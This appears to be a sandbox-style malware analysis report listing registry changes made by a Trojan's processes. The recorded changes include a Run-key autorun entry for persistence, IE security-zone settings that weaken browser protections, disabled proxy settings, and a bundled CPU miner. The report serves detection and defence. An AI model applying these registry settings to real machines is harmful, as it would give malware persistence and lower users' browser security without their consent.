[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:484 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "72 91 64 58 41 C0 E4 78 CF 2D 72 30 26 D8 93 B8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nstF.tmp:1632 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3E 4A EF E8 BC 88 AE 71 F0 C8 B6 8D 07 6C 6C 82"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\NlaSvc]
"CMPK" = "-obi-tot-mdh-wtp-lvs-ppt-cpm-opw-jot-agb"

The process setup3.tmp:3504 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9B A4 25 7C A7 31 0F A9 93 CE E9 D2 D7 B7 99 60"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"apphide" = "%Program Files%\baidu\ppt.exe"

The process nsy22.tmp:356 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7C 87 A2 4F D9 02 E5 A2 30 49 EF F1 7D C2 AA 7C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsg1E.tmp:1992 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "31 D6 3E D5 8F 30 54 49 B0 A1 DF 83 ED 3A 25 9B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process gpuminer-setup.exe:220 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C7 5A 63 2E E0 17 B0 E8 E1 F9 15 DD 41 F1 C9 91"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv28.tmp\registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv28.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2A.tmp\registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2A.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn34.tmp\nsProcess.dll,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The Trojan deletes the following value(s) in system registry:
The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"gpuminer"

The process setup3.exe:3480 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E5 54 EA 1F C2 C8 EE C7 77 DC F2 DE E3 CC 74 BF"

The process setup.exe:2492 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "06 F3 F4 AB 21 BE 0D 57 20 55 B4 7C 7B E0 4D 14"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process nsu2C.tmp:1056 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 22 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\cpuminer]
"DisplayIcon" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\cpuminer\cpm.exe"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv28.tmp\registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv28.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2A.tmp\registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2A.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn34.tmp\nsProcess.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn34.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nse30.tmp\nsProcess.dll,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\cpuminer]
"Publisher" = "Open Source"
"mac" = "XP7"

"uuid" = ""
"UninstallString" = "%Documents and Settings%\%current user%\Application Data\cpuminer\cpuminer-uninst.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\cpuminer]
"DisplayVersion" = "1.2"
"InstallLocation" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\cpuminer"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E3 3B CF 29 2C 2E 2B 46 DC 74 1F A2 F3 81 D1 07"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\cpuminer]
"DisplayName" = "CPU Miner"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\cpuminer]
"EstimatedSize" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following registry key(s):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\cpuminer]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\cpuminer]
"UninstallString"
"DisplayName"

The process nsa3A.tmp:3436 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Video" = ""
"NetHood" = "%Documents and Settings%\%current user%\NetHood"
"Fonts" = "%WinDir%\Fonts"
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"Setup3.exe" = "baidu Setup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"PrintHood" = "%Documents and Settings%\%current user%\PrintHood"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Administrative Tools" = "%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Templates" = "%Documents and Settings%\All Users\Templates"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Administrative Tools" = ""
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
"SendTo" = "%Documents and Settings%\%current user%\SendTo"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 70 6F FC 63 76 26 63 4B D2 CF 72 7D 3E 5F CA"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CD Burning" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\CD Burning"
"Recent" = "%Documents and Settings%\%current user%\Recent"
"Favorites" = "%Documents and Settings%\%current user%\Favorites"
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process amisid.exe:824 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"
"CategoryCount" = "16"

[HKCU\Software\InternetTurbo]
"UID" = "C8318CA6891F5119A9FD96EC19E98D71"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

